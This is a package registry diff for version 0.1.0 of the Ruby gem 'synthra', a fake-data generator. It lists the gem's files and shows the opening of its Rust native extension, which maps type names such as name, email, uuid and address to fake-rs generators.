synthra 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.rspec +4 -0
- data/.rubocop.yml +40 -0
- data/.yardopts +18 -0
- data/ACCESS_DOCS.md +116 -0
- data/ADVANCED_FEATURES_SUMMARY.md +245 -0
- data/CHANGELOG.md +498 -0
- data/CODE_OF_CONDUCT.md +122 -0
- data/CONTRIBUTING.md +307 -0
- data/DOCUMENTATION.md +204 -0
- data/DOCUMENTATION_GUIDE.md +194 -0
- data/LICENSE +22 -0
- data/README.md +1458 -0
- data/Rakefile +128 -0
- data/benchmark/README.md +591 -0
- data/benchmark/batch_generation.rb +63 -0
- data/benchmark/engine_comparison.rb +295 -0
- data/benchmark/single_record.rb +108 -0
- data/benchmark/streaming.rb +74 -0
- data/docs/ACTIVERECORD_INFERENCE.md +524 -0
- data/docs/API_SERVER.md +278 -0
- data/docs/CONFIG_FILE.md +315 -0
- data/docs/DATA_CONTRACTS.md +312 -0
- data/docs/ENHANCED_REPL.md +304 -0
- data/docs/FACTORY_BOT.md +271 -0
- data/docs/GITHUB_ACTION.md +420 -0
- data/docs/GRAPHQL_EXPORT.md +303 -0
- data/docs/GRAPHQL_FEDERATION.md +651 -0
- data/docs/HOW_TO_GENERATE_DOCS.md +252 -0
- data/docs/LSP.md +189 -0
- data/docs/MIGRATION_GENERATOR.md +547 -0
- data/docs/MOCK_SERVER.md +280 -0
- data/docs/NATIVE_ENGINE.md +298 -0
- data/docs/OPENAPI_EXPORT.md +252 -0
- data/docs/PERFORMANCE_MODE.md +228 -0
- data/docs/PERSONAS.md +547 -0
- data/docs/PROPERTY_TESTING.md +284 -0
- data/docs/PROTOBUF_EXPORT.md +276 -0
- data/docs/QUALITY_METRICS.md +555 -0
- data/docs/QUICK_REFERENCE.md +88 -0
- data/docs/RAILS_ENGINE.md +404 -0
- data/docs/RAILS_INTEGRATION.md +454 -0
- data/docs/README.md +175 -0
- data/docs/REPL_QUICK_REFERENCE.md +149 -0
- data/docs/RUST_INTEGRATION_GUIDE.md +1376 -0
- data/docs/SCENARIOS.md +576 -0
- data/docs/SECURITY_TESTING.md +318 -0
- data/docs/SNAPSHOT_TESTING.md +308 -0
- data/docs/STRING_TEXT_TYPES_REFERENCE.md +512 -0
- data/docs/TERRAFORM_EXPORT.md +447 -0
- data/docs/TIME_TRAVEL.md +507 -0
- data/docs/USAGE_GUIDE.md +980 -0
- data/docs/WEBHOOK_SIMULATOR.md +579 -0
- data/docs/advanced_features.md +183 -0
- data/docs/api_reference.md +153 -0
- data/docs/behaviors.md +138 -0
- data/docs/best_practices.md +191 -0
- data/docs/dsl_reference.md +172 -0
- data/docs/examples.md +162 -0
- data/docs/generation_modes.md +125 -0
- data/docs/getting_started.md +92 -0
- data/docs/index.html +177 -0
- data/docs/strategic/CLOUD_REGISTRY_ARCHITECTURE.md +268 -0
- data/docs/strategic/SIMD_OPTIMIZATION_STRATEGY.md +153 -0
- data/docs/troubleshooting.md +215 -0
- data/docs/type_reference.md +224 -0
- data/examples/hostile_mode_demo.rb +64 -0
- data/exe/synthra +6 -0
- data/ext/synthra_native/Cargo.lock +972 -0
- data/ext/synthra_native/Cargo.toml +46 -0
- data/ext/synthra_native/extconf.rb +41 -0
- data/ext/synthra_native/src/generator.rs +397 -0
- data/ext/synthra_native/src/lib.rs +229 -0
- data/ext/synthra_native/src/types.rs +1485 -0
- data/lib/generators/synthra/install_generator.rb +86 -0
- data/lib/generators/synthra/templates/api_response.dsl +15 -0
- data/lib/generators/synthra/templates/fake_data.rake +116 -0
- data/lib/generators/synthra/templates/synthra.yml +31 -0
- data/lib/generators/synthra/templates/synthra_support.rb +19 -0
- data/lib/generators/synthra/templates/user.dsl +11 -0
- data/lib/synthra/activerecord_inference.rb +394 -0
- data/lib/synthra/api.rb +381 -0
- data/lib/synthra/api_server.rb +718 -0
- data/lib/synthra/behaviors/applicator.rb +165 -0
- data/lib/synthra/behaviors/base.rb +155 -0
- data/lib/synthra/behaviors/close_connection.rb +60 -0
- data/lib/synthra/behaviors/deprecated.rb +100 -0
- data/lib/synthra/behaviors/failure.rb +69 -0
- data/lib/synthra/behaviors/latency.rb +103 -0
- data/lib/synthra/behaviors/partial_data.rb +83 -0
- data/lib/synthra/behaviors/randomize_order.rb +74 -0
- data/lib/synthra/behaviors/registry.rb +238 -0
- data/lib/synthra/behaviors/simulate_error.rb +79 -0
- data/lib/synthra/cli/commands/base.rb +105 -0
- data/lib/synthra/cli/commands/diff.rb +227 -0
- data/lib/synthra/cli/commands/docs.rb +67 -0
- data/lib/synthra/cli/commands/export.rb +150 -0
- data/lib/synthra/cli/commands/generate.rb +72 -0
- data/lib/synthra/cli/commands/import.rb +80 -0
- data/lib/synthra/cli/commands/lint.rb +53 -0
- data/lib/synthra/cli/commands/live.rb +57 -0
- data/lib/synthra/cli/commands/seed.rb +99 -0
- data/lib/synthra/cli/commands/validate.rb +28 -0
- data/lib/synthra/cli.rb +2471 -0
- data/lib/synthra/config_file.rb +129 -0
- data/lib/synthra/configuration.rb +281 -0
- data/lib/synthra/contracts_registry.rb +408 -0
- data/lib/synthra/database_seeder.rb +268 -0
- data/lib/synthra/deterministic_ids.rb +218 -0
- data/lib/synthra/documentation_generator.rb +414 -0
- data/lib/synthra/engine.rb +251 -0
- data/lib/synthra/errors.rb +1169 -0
- data/lib/synthra/export/base.rb +85 -0
- data/lib/synthra/export/csv.rb +101 -0
- data/lib/synthra/export/graphql.rb +266 -0
- data/lib/synthra/export/graphql_federation.rb +377 -0
- data/lib/synthra/export/graphviz.rb +258 -0
- data/lib/synthra/export/javascript.rb +327 -0
- data/lib/synthra/export/json_data.rb +61 -0
- data/lib/synthra/export/json_schema.rb +290 -0
- data/lib/synthra/export/openapi.rb +514 -0
- data/lib/synthra/export/protobuf.rb +483 -0
- data/lib/synthra/export/python.rb +560 -0
- data/lib/synthra/export/sql.rb +381 -0
- data/lib/synthra/export/sql_insert.rb +152 -0
- data/lib/synthra/export/terraform.rb +501 -0
- data/lib/synthra/export/type_mapping.rb +389 -0
- data/lib/synthra/export/typescript.rb +300 -0
- data/lib/synthra/export/xml_data.rb +104 -0
- data/lib/synthra/export/yaml_data.rb +56 -0
- data/lib/synthra/export.rb +404 -0
- data/lib/synthra/factory_bot_integration.rb +157 -0
- data/lib/synthra/field.rb +440 -0
- data/lib/synthra/functions/registry.rb +104 -0
- data/lib/synthra/generator/context.rb +372 -0
- data/lib/synthra/generator/engine.rb +336 -0
- data/lib/synthra/generator/faker_adapter.rb +425 -0
- data/lib/synthra/generator/modes.rb +444 -0
- data/lib/synthra/generator/resolver.rb +256 -0
- data/lib/synthra/generator/rng.rb +273 -0
- data/lib/synthra/generator/streamer.rb +63 -0
- data/lib/synthra/generator/uniqueness.rb +118 -0
- data/lib/synthra/initializer.rb +97 -0
- data/lib/synthra/limits.rb +279 -0
- data/lib/synthra/live_preview.rb +518 -0
- data/lib/synthra/loader_config.rb +78 -0
- data/lib/synthra/lsp/server.rb +689 -0
- data/lib/synthra/migration_generator.rb +301 -0
- data/lib/synthra/mixin.rb +174 -0
- data/lib/synthra/mock_server.rb +458 -0
- data/lib/synthra/native_engine.rb +304 -0
- data/lib/synthra/openapi_importer.rb +228 -0
- data/lib/synthra/output/json_formatter.rb +40 -0
- data/lib/synthra/output/ndjson_formatter.rb +55 -0
- data/lib/synthra/parser/ast.rb +1287 -0
- data/lib/synthra/parser/lexer.rb +1152 -0
- data/lib/synthra/parser/parser.rb +1664 -0
- data/lib/synthra/parser/tokens.rb +461 -0
- data/lib/synthra/performance_mode.rb +364 -0
- data/lib/synthra/personas.rb +397 -0
- data/lib/synthra/property_testing.rb +172 -0
- data/lib/synthra/quality_metrics.rb +405 -0
- data/lib/synthra/rails_test_helper.rb +248 -0
- data/lib/synthra/registry.rb +533 -0
- data/lib/synthra/relationships.rb +193 -0
- data/lib/synthra/repl/enhanced_repl.rb +607 -0
- data/lib/synthra/repl/formatter.rb +191 -0
- data/lib/synthra/scenarios.rb +423 -0
- data/lib/synthra/schema.rb +605 -0
- data/lib/synthra/schema_inheritance.rb +104 -0
- data/lib/synthra/schema_versioning.rb +212 -0
- data/lib/synthra/snapshot_testing.rb +199 -0
- data/lib/synthra/time_travel.rb +338 -0
- data/lib/synthra/type_definitions.rb +274 -0
- data/lib/synthra/types/address_location/addresses.rb +125 -0
- data/lib/synthra/types/address_location/airports.rb +200 -0
- data/lib/synthra/types/address_location/banks_hospitals.rb +207 -0
- data/lib/synthra/types/address_location/locations.rb +406 -0
- data/lib/synthra/types/base.rb +48 -0
- data/lib/synthra/types/commerce_products/commerce.rb +119 -0
- data/lib/synthra/types/commerce_products/companies.rb +71 -0
- data/lib/synthra/types/commerce_products/construction.rb +126 -0
- data/lib/synthra/types/commerce_products/products.rb +205 -0
- data/lib/synthra/types/core/collections.rb +513 -0
- data/lib/synthra/types/core/defaults.rb +76 -0
- data/lib/synthra/types/core/enums.rb +102 -0
- data/lib/synthra/types/core/identifiers.rb +445 -0
- data/lib/synthra/types/core/primitives.rb +586 -0
- data/lib/synthra/types/core/references.rb +466 -0
- data/lib/synthra/types/core/sequences.rb +304 -0
- data/lib/synthra/types/crypto/crypto.rb +162 -0
- data/lib/synthra/types/date_time/dates.rb +387 -0
- data/lib/synthra/types/finance_banking/banking.rb +424 -0
- data/lib/synthra/types/finance_banking/credit_cards.rb +24 -0
- data/lib/synthra/types/finance_banking/identifiers.rb +93 -0
- data/lib/synthra/types/formula.rb +184 -0
- data/lib/synthra/types/health_medical/medical.rb +150 -0
- data/lib/synthra/types/hostile_payloads.rb +122 -0
- data/lib/synthra/types/json_array.rb +51 -0
- data/lib/synthra/types/media_entertainment/media.rb +62 -0
- data/lib/synthra/types/naughty_string.rb +30 -0
- data/lib/synthra/types/personal_names/chinese.rb +41 -0
- data/lib/synthra/types/personal_names/identifiers.rb +187 -0
- data/lib/synthra/types/personal_names/names.rb +246 -0
- data/lib/synthra/types/personal_names/national_id.rb +89 -0
- data/lib/synthra/types/personal_names/titles_suffixes.rb +41 -0
- data/lib/synthra/types/regex.rb +248 -0
- data/lib/synthra/types/registry.rb +182 -0
- data/lib/synthra/types/repeating_element.rb +50 -0
- data/lib/synthra/types/scenario.rb +29 -0
- data/lib/synthra/types/technology_internet/apps.rb +67 -0
- data/lib/synthra/types/technology_internet/communication.rb +162 -0
- data/lib/synthra/types/technology_internet/devices.rb +80 -0
- data/lib/synthra/types/technology_internet/formats.rb +139 -0
- data/lib/synthra/types/technology_internet/networking.rb +143 -0
- data/lib/synthra/types/template.rb +92 -0
- data/lib/synthra/types/text_content/business.rb +128 -0
- data/lib/synthra/types/text_content/colors.rb +70 -0
- data/lib/synthra/types/text_content/misc.rb +237 -0
- data/lib/synthra/types/text_content/security.rb +130 -0
- data/lib/synthra/types/text_content/text_generation.rb +532 -0
- data/lib/synthra/types/travel/travel.rb +150 -0
- data/lib/synthra/utils/string_distance.rb +133 -0
- data/lib/synthra/validator/dsl_validator.rb +339 -0
- data/lib/synthra/validator/path_validator.rb +615 -0
- data/lib/synthra/version.rb +35 -0
- data/lib/synthra/webhook_simulator.rb +341 -0
- data/lib/synthra.rb +259 -0
- data/schemas/address.dsl +16 -0
- data/schemas/api_response.dsl +8 -0
- data/schemas/error_payload.dsl +9 -0
- data/schemas/order.dsl +10 -0
- data/schemas/order_item.dsl +8 -0
- data/schemas/payment.dsl +11 -0
- data/schemas/social_post.dsl +13 -0
- data/schemas/user.dsl +10 -0
- data/scripts/batch_fix_all.rb +96 -0
- data/scripts/delete_old_files.rb +32 -0
- data/scripts/fix_all_grouped_files.rb +137 -0
- data/scripts/fix_all_indentation.rb +48 -0
- data/scripts/fix_all_syntax.rb +124 -0
- data/scripts/fix_grouped_files.rb +184 -0
- data/scripts/fix_syntax_errors.rb +108 -0
- data/scripts/group_domain_types.rb +112 -0
- data/scripts/group_domain_types_fixed.rb +150 -0
- data/scripts/merge_domains_to_one_file.rb +68 -0
- data/scripts/move_existing_types.rb +130 -0
- data/scripts/split_grouped_types.rb +142 -0
- data/tech_docs/README.md +134 -0
- data/tech_docs/advanced/streaming.md +405 -0
- data/tech_docs/advanced/thread_safety.md +253 -0
- data/tech_docs/api/overview.md +485 -0
- data/tech_docs/appendices/type_chart.md +193 -0
- data/tech_docs/basic_concepts.md +383 -0
- data/tech_docs/behaviors/overview.md +346 -0
- data/tech_docs/dsl/complex_types.md +790 -0
- data/tech_docs/dsl/core_types.md +464 -0
- data/tech_docs/dsl/datetime_types.md +325 -0
- data/tech_docs/dsl/field_modifiers.md +414 -0
- data/tech_docs/dsl/grammar.md +431 -0
- data/tech_docs/dsl/schema_definition.md +399 -0
- data/tech_docs/export/README.md +276 -0
- data/tech_docs/installation.md +273 -0
- data/tech_docs/integration/ci_cd.md +707 -0
- data/tech_docs/integration/ci_cd_guide.md +579 -0
- data/tech_docs/integration/factory_bot.md +485 -0
- data/tech_docs/integration/rails.md +630 -0
- data/tech_docs/integration/rspec.md +449 -0
- data/tech_docs/modes/overview.md +350 -0
- data/tech_docs/performance/NATIVE_RUST_EXTENSION.md +1270 -0
- data/tech_docs/performance/OPTIMIZATION_GUIDE.md +901 -0
- data/tech_docs/quick_start.md +256 -0
- data/tech_docs/templates/README.md +805 -0
- data/tech_docs/tutorials/advanced.md +371 -0
- data/tech_docs/tutorials/getting_started.md +189 -0
- data/tech_docs/tutorials/intermediate.md +231 -0
- data/tech_docs/tutorials/template_gallery.md +569 -0
- data/tech_example/01_basic_usage.rb +238 -0
- data/tech_example/02_types_demo.rb +336 -0
- data/tech_example/04_cli_usage.md +429 -0
- data/tech_example/05_database_seeding.rb +283 -0
- data/tech_example/07_rspec_integration.rb +359 -0
- data/tech_example/10_custom_types.rb +387 -0
- data/tech_example/12_behaviors.rb +372 -0
- data/tech_example/13_twitter_dm_example.rb +120 -0
- data/tech_example/14_exact_json_structure.rb +253 -0
- data/tech_example/16_lsp_server.rb +56 -0
- data/tech_example/17_property_testing.rb +92 -0
- data/tech_example/18_enhanced_repl.rb +120 -0
- data/tech_example/19_security_fuzzing.rb +145 -0
- data/tech_example/NEW_FEATURES.md +169 -0
- data/tech_example/README.md +118 -0
- data/tech_example/schemas/api_response.dsl +123 -0
- data/tech_example/schemas/ecommerce.dsl +121 -0
- data/tech_example/schemas/twitter_dm.dsl +109 -0
- data/tech_example/schemas/user.dsl +36 -0
- data/vscode-extension/README.md +246 -0
- data/vscode-extension/language-configuration.json +31 -0
- data/vscode-extension/package.json +55 -0
- data/vscode-extension/snippets/fakedatadsl.json +198 -0
- data/vscode-extension/syntaxes/fakedatadsl.tmLanguage.json +128 -0
- metadata +478 -0
|
@@ -0,0 +1,1485 @@
|
|
|
1
|
+
//! Type generators using fake-rs
|
|
2
|
+
//!
|
|
3
|
+
//! Maps Synthra type names to fake-rs generators.
|
|
4
|
+
|
|
5
|
+
use fake::faker::address::raw::*;
|
|
6
|
+
use fake::faker::company::raw::*;
|
|
7
|
+
use fake::faker::creditcard::raw::*;
|
|
8
|
+
use fake::faker::currency::raw::*;
|
|
9
|
+
use fake::faker::filesystem::raw::*;
|
|
10
|
+
use fake::faker::finance::raw::*;
|
|
11
|
+
use fake::faker::internet::raw::*;
|
|
12
|
+
use fake::faker::job::raw::Title as JobTitle;
|
|
13
|
+
use fake::faker::lorem::raw::*;
|
|
14
|
+
use fake::faker::name::raw::*;
|
|
15
|
+
use fake::faker::phone_number::raw::*;
|
|
16
|
+
use fake::locales::*;
|
|
17
|
+
use fake::rand::rngs::StdRng;
|
|
18
|
+
use fake::rand::{Rng, SeedableRng};
|
|
19
|
+
use fake::Fake;
|
|
20
|
+
use serde_json::{json, Value};
|
|
21
|
+
use uuid::Uuid;
|
|
22
|
+
|
|
23
|
+
/// List of all supported type names
|
|
24
|
+
pub static AVAILABLE_TYPES: &[&str] = &[
|
|
25
|
+
// Personal
|
|
26
|
+
"name", "first_name", "last_name", "full_name", "title",
|
|
27
|
+
// Internet
|
|
28
|
+
"email", "username", "password", "url", "ip", "ipv4", "ipv6",
|
|
29
|
+
"mac_address", "user_agent", "domain",
|
|
30
|
+
// Address
|
|
31
|
+
"city", "country", "country_code", "street", "street_address",
|
|
32
|
+
"postal_code", "zip_code", "latitude", "longitude", "state",
|
|
33
|
+
// Company
|
|
34
|
+
"company_name", "company", "catch_phrase", "buzzword", "industry",
|
|
35
|
+
// Text (string = alias for text, OpenAPI/contract compatibility)
|
|
36
|
+
"word", "words", "sentence", "sentences", "paragraph", "paragraphs", "text", "string",
|
|
37
|
+
// Phone
|
|
38
|
+
"phone", "phone_number", "cell_phone",
|
|
39
|
+
// Date/Time
|
|
40
|
+
"date", "time", "datetime", "timestamp", "past_date", "future_date",
|
|
41
|
+
// Identifiers
|
|
42
|
+
"uuid", "uuid_v4", "uuid_v1", "id_sequence", "ulid",
|
|
43
|
+
// Primitives
|
|
44
|
+
"number", "integer", "float", "boolean", "bool",
|
|
45
|
+
// Color
|
|
46
|
+
"hex_color", "rgb_color",
|
|
47
|
+
// Special
|
|
48
|
+
"enum", "const", "array",
|
|
49
|
+
// Bucket A: fake-rs direct
|
|
50
|
+
"job_title", "currency", "credit_card", "color", "short_hex_color",
|
|
51
|
+
"file_name", "mime_type", "bank_swift_bic", "fake_company_name", "slogan",
|
|
52
|
+
"street_name", "street_number", "street_suffix", "address", "address_line_2",
|
|
53
|
+
"timezone", "suffix", "top_level_domain", "now", "unix_timestamp_ms",
|
|
54
|
+
// Bucket B2: data lists
|
|
55
|
+
"airport_name", "airport_continent", "airport_country_code", "airport_region_code",
|
|
56
|
+
"airport_gps_code", "airport_municipality", "airport_elevation", "airport_latitude",
|
|
57
|
+
"airport_longitude", "bank_name", "bank_city", "bank_state", "bank_country_code",
|
|
58
|
+
"bank_street_address", "bank_routing_number", "bank_lei", "bank_riad_code",
|
|
59
|
+
"hospital_city", "hospital_state", "hospital_postal_code", "hospital_street_address",
|
|
60
|
+
"construction_trade", "construction_role", "construction_material",
|
|
61
|
+
"construction_heavy_equipment", "construction_subcontract_category",
|
|
62
|
+
"construction_standard_cost_code", "department_corporate", "department_retail",
|
|
63
|
+
"product_name", "product_category", "product_subcategory", "product_description",
|
|
64
|
+
"product_grocery", "product_price", "movie_title", "movie_genres",
|
|
65
|
+
"mobile_device_brand", "mobile_device_model", "mobile_device_os",
|
|
66
|
+
"mobile_device_release_date", "app_name", "app_bundle_id", "app_version",
|
|
67
|
+
"university", "language", "language_code", "race", "nato_phonetic", "linkedin_skill",
|
|
68
|
+
"credit_card_type", "scenario", "first_name_male", "first_name_female",
|
|
69
|
+
"first_name_european", "family_name_chinese", "given_name_chinese", "shirt_size",
|
|
70
|
+
"frequency", "gender", "gender_binary", "gender_abbrev", "gender_facebook",
|
|
71
|
+
"message_text", "hashtag_text", "social_handle", "slug",
|
|
72
|
+
// Bucket B1: format/hash/sequence
|
|
73
|
+
"age", "discount", "tax_rate", "money", "transaction_amount", "account_number",
|
|
74
|
+
"numeric_string_id", "digit_sequence", "character_sequence", "sequence", "row_number",
|
|
75
|
+
"ssn", "ein", "duns_number", "iban", "sku", "md5", "sha1", "sha256",
|
|
76
|
+
"mongodb_object_id", "snowflake_id", "password_hash", "encrypt", "ip_v4_cidr",
|
|
77
|
+
"ip_v6_cidr", "avatar", "base64_image_url", "dummy_image_url", "nhs_number",
|
|
78
|
+
"medicare_beneficiary_id", "naughty_string", "sql_expression", "regex",
|
|
79
|
+
"date_between", "json_array", "indices_pair", "repeating_element",
|
|
80
|
+
];
|
|
81
|
+
|
|
82
|
+
/// Locale enum matching fake-rs locales
|
|
83
|
+
#[derive(Clone, Copy, Debug)]
|
|
84
|
+
pub enum Locale {
|
|
85
|
+
EN,
|
|
86
|
+
FR,
|
|
87
|
+
DE,
|
|
88
|
+
ZH_CN,
|
|
89
|
+
ZH_TW,
|
|
90
|
+
JA,
|
|
91
|
+
PT_BR,
|
|
92
|
+
IT,
|
|
93
|
+
AR,
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
impl Locale {
|
|
97
|
+
pub fn from_string(s: &str) -> Self {
|
|
98
|
+
match s.to_lowercase().as_str() {
|
|
99
|
+
"fr" | "fr_fr" | "french" => Locale::FR,
|
|
100
|
+
"de" | "de_de" | "german" => Locale::DE,
|
|
101
|
+
"zh_cn" | "chinese" | "chinese_simplified" => Locale::ZH_CN,
|
|
102
|
+
"zh_tw" | "chinese_traditional" => Locale::ZH_TW,
|
|
103
|
+
"ja" | "ja_jp" | "japanese" => Locale::JA,
|
|
104
|
+
"pt_br" | "portuguese" | "brazilian" => Locale::PT_BR,
|
|
105
|
+
"it" | "it_it" | "italian" => Locale::IT,
|
|
106
|
+
"ar" | "ar_sa" | "arabic" => Locale::AR,
|
|
107
|
+
_ => Locale::EN,
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
/// Create an RNG from an optional seed
|
|
113
|
+
pub fn create_rng(seed: Option<u64>) -> StdRng {
|
|
114
|
+
match seed {
|
|
115
|
+
Some(s) => StdRng::seed_from_u64(s),
|
|
116
|
+
None => {
|
|
117
|
+
// Generate random seed from system time
|
|
118
|
+
use std::time::{SystemTime, UNIX_EPOCH};
|
|
119
|
+
let seed = SystemTime::now()
|
|
120
|
+
.duration_since(UNIX_EPOCH)
|
|
121
|
+
.map(|d| d.as_nanos() as u64)
|
|
122
|
+
.unwrap_or(42);
|
|
123
|
+
StdRng::seed_from_u64(seed)
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
// Pre-generated name pools for ultra-fast generation
|
|
129
|
+
static FIRST_NAMES: &[&str] = &[
|
|
130
|
+
"James", "Mary", "John", "Patricia", "Robert", "Jennifer", "Michael", "Linda",
|
|
131
|
+
"David", "Elizabeth", "William", "Barbara", "Richard", "Susan", "Joseph", "Jessica",
|
|
132
|
+
"Thomas", "Sarah", "Christopher", "Karen", "Charles", "Nancy", "Daniel", "Lisa",
|
|
133
|
+
"Matthew", "Betty", "Anthony", "Margaret", "Mark", "Sandra", "Donald", "Ashley",
|
|
134
|
+
"Steven", "Kimberly", "Paul", "Emily", "Andrew", "Donna", "Joshua", "Michelle",
|
|
135
|
+
"Kenneth", "Dorothy", "Kevin", "Carol", "Brian", "Amanda", "George", "Melissa",
|
|
136
|
+
"Edward", "Deborah", "Ronald", "Stephanie", "Timothy", "Rebecca", "Jason", "Sharon",
|
|
137
|
+
"Jeffrey", "Laura", "Ryan", "Cynthia", "Jacob", "Kathleen", "Gary", "Amy",
|
|
138
|
+
];
|
|
139
|
+
|
|
140
|
+
static LAST_NAMES: &[&str] = &[
|
|
141
|
+
"Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller", "Davis",
|
|
142
|
+
"Rodriguez", "Martinez", "Hernandez", "Lopez", "Gonzalez", "Wilson", "Anderson",
|
|
143
|
+
"Thomas", "Taylor", "Moore", "Jackson", "Martin", "Lee", "Perez", "Thompson",
|
|
144
|
+
"White", "Harris", "Sanchez", "Clark", "Ramirez", "Lewis", "Robinson", "Walker",
|
|
145
|
+
"Young", "Allen", "King", "Wright", "Scott", "Torres", "Nguyen", "Hill",
|
|
146
|
+
"Flores", "Green", "Adams", "Nelson", "Baker", "Hall", "Rivera", "Campbell",
|
|
147
|
+
"Mitchell", "Carter", "Roberts", "Gomez", "Phillips", "Evans", "Turner", "Diaz",
|
|
148
|
+
"Parker", "Cruz", "Edwards", "Collins", "Reyes", "Stewart", "Morris", "Morales",
|
|
149
|
+
];
|
|
150
|
+
|
|
151
|
+
static EMAIL_DOMAINS: &[&str] = &[
|
|
152
|
+
"gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "icloud.com",
|
|
153
|
+
"mail.com", "protonmail.com", "aol.com", "zoho.com", "fastmail.com",
|
|
154
|
+
];
|
|
155
|
+
|
|
156
|
+
/// Generate a value for a given type using StdRng
|
|
157
|
+
pub fn generate_value(
|
|
158
|
+
rng: &mut StdRng,
|
|
159
|
+
type_name: &str,
|
|
160
|
+
args: &Value,
|
|
161
|
+
locale: Locale,
|
|
162
|
+
index: usize,
|
|
163
|
+
) -> Value {
|
|
164
|
+
match type_name {
|
|
165
|
+
// ========== Personal Names ==========
|
|
166
|
+
// Use fast mode for English, full fake-rs for other locales
|
|
167
|
+
"name" | "full_name" => match locale {
|
|
168
|
+
Locale::EN => generate_fast_name(rng),
|
|
169
|
+
_ => generate_name(rng, locale),
|
|
170
|
+
},
|
|
171
|
+
"first_name" => match locale {
|
|
172
|
+
Locale::EN => generate_fast_first_name(rng),
|
|
173
|
+
_ => generate_first_name(rng, locale),
|
|
174
|
+
},
|
|
175
|
+
"last_name" => match locale {
|
|
176
|
+
Locale::EN => generate_fast_last_name(rng),
|
|
177
|
+
_ => generate_last_name(rng, locale),
|
|
178
|
+
},
|
|
179
|
+
"title" => json!(Title(EN).fake_with_rng::<String, _>(rng)),
|
|
180
|
+
|
|
181
|
+
// ========== Internet ==========
|
|
182
|
+
// Use fast mode for English, full fake-rs for other locales
|
|
183
|
+
"email" => match locale {
|
|
184
|
+
Locale::EN => generate_fast_email(rng, index),
|
|
185
|
+
_ => generate_email(rng, index),
|
|
186
|
+
},
|
|
187
|
+
"username" => json!(Username(EN).fake_with_rng::<String, _>(rng)),
|
|
188
|
+
"password" => generate_password(rng, args),
|
|
189
|
+
"url" => generate_url(rng),
|
|
190
|
+
"ip" | "ipv4" => json!(IPv4(EN).fake_with_rng::<String, _>(rng)),
|
|
191
|
+
"ipv6" => json!(IPv6(EN).fake_with_rng::<String, _>(rng)),
|
|
192
|
+
"mac_address" => json!(MACAddress(EN).fake_with_rng::<String, _>(rng)),
|
|
193
|
+
"user_agent" => json!(UserAgent(EN).fake_with_rng::<String, _>(rng)),
|
|
194
|
+
"domain" => json!(DomainSuffix(EN).fake_with_rng::<String, _>(rng)),
|
|
195
|
+
|
|
196
|
+
// ========== Address ==========
|
|
197
|
+
"city" => generate_city(rng, locale),
|
|
198
|
+
"country" => json!(CountryName(EN).fake_with_rng::<String, _>(rng)),
|
|
199
|
+
"country_code" => json!(CountryCode(EN).fake_with_rng::<String, _>(rng)),
|
|
200
|
+
"street" | "street_address" => generate_street(rng, locale),
|
|
201
|
+
"postal_code" | "zip_code" => json!(ZipCode(EN).fake_with_rng::<String, _>(rng)),
|
|
202
|
+
"latitude" => {
|
|
203
|
+
let lat: f64 = Latitude(EN).fake_with_rng(rng);
|
|
204
|
+
json!(lat)
|
|
205
|
+
}
|
|
206
|
+
"longitude" => {
|
|
207
|
+
let lng: f64 = Longitude(EN).fake_with_rng(rng);
|
|
208
|
+
json!(lng)
|
|
209
|
+
}
|
|
210
|
+
"state" => json!(StateName(EN).fake_with_rng::<String, _>(rng)),
|
|
211
|
+
|
|
212
|
+
// ========== Company ==========
|
|
213
|
+
"company" | "company_name" => json!(CompanyName(EN).fake_with_rng::<String, _>(rng)),
|
|
214
|
+
"catch_phrase" => json!(CatchPhrase(EN).fake_with_rng::<String, _>(rng)),
|
|
215
|
+
"buzzword" => json!(Buzzword(EN).fake_with_rng::<String, _>(rng)),
|
|
216
|
+
"industry" => json!(Industry(EN).fake_with_rng::<String, _>(rng)),
|
|
217
|
+
|
|
218
|
+
// ========== Text ==========
|
|
219
|
+
"word" => json!(Word(EN).fake_with_rng::<String, _>(rng)),
|
|
220
|
+
"words" => generate_words(rng, args),
|
|
221
|
+
"sentence" => generate_sentence(rng, args),
|
|
222
|
+
"sentences" => generate_sentences(rng, args),
|
|
223
|
+
"paragraph" => generate_paragraph(rng, args),
|
|
224
|
+
"paragraphs" => generate_paragraphs(rng, args),
|
|
225
|
+
"text" | "string" => generate_text(rng, args),
|
|
226
|
+
|
|
227
|
+
// ========== Phone ==========
|
|
228
|
+
"phone" | "phone_number" => json!(PhoneNumber(EN).fake_with_rng::<String, _>(rng)),
|
|
229
|
+
"cell_phone" => json!(CellNumber(EN).fake_with_rng::<String, _>(rng)),
|
|
230
|
+
|
|
231
|
+
// ========== Date/Time ==========
|
|
232
|
+
"date" => generate_date(rng),
|
|
233
|
+
"time" => generate_time(rng),
|
|
234
|
+
"datetime" | "timestamp" => generate_datetime(rng),
|
|
235
|
+
"past_date" => generate_past_date(rng),
|
|
236
|
+
"future_date" => generate_future_date(rng),
|
|
237
|
+
|
|
238
|
+
// ========== Identifiers ==========
|
|
239
|
+
"uuid" | "uuid_v4" => generate_fast_uuid(rng),
|
|
240
|
+
"uuid_v1" => generate_uuid_v1(index),
|
|
241
|
+
"id_sequence" => generate_id_sequence(args, index),
|
|
242
|
+
"ulid" => generate_ulid(rng),
|
|
243
|
+
|
|
244
|
+
// ========== Primitives ==========
|
|
245
|
+
"number" | "integer" => generate_number(rng, args),
|
|
246
|
+
"float" => generate_float(rng, args),
|
|
247
|
+
"boolean" | "bool" => generate_boolean(rng, args),
|
|
248
|
+
|
|
249
|
+
// ========== Color ==========
|
|
250
|
+
"hex_color" => generate_hex_color(rng),
|
|
251
|
+
"rgb_color" => generate_rgb_color(rng),
|
|
252
|
+
|
|
253
|
+
// ========== Special Types ==========
|
|
254
|
+
"enum" => generate_enum(rng, args),
|
|
255
|
+
"const" => args.get("value").cloned().unwrap_or(Value::Null),
|
|
256
|
+
"array" => generate_array(rng, args, locale, index),
|
|
257
|
+
|
|
258
|
+
// ========== Bucket A: fake-rs direct ==========
|
|
259
|
+
"job_title" => json!(JobTitle(EN).fake_with_rng::<String, _>(rng)),
|
|
260
|
+
"currency" => json!(CurrencyCode(EN).fake_with_rng::<String, _>(rng)),
|
|
261
|
+
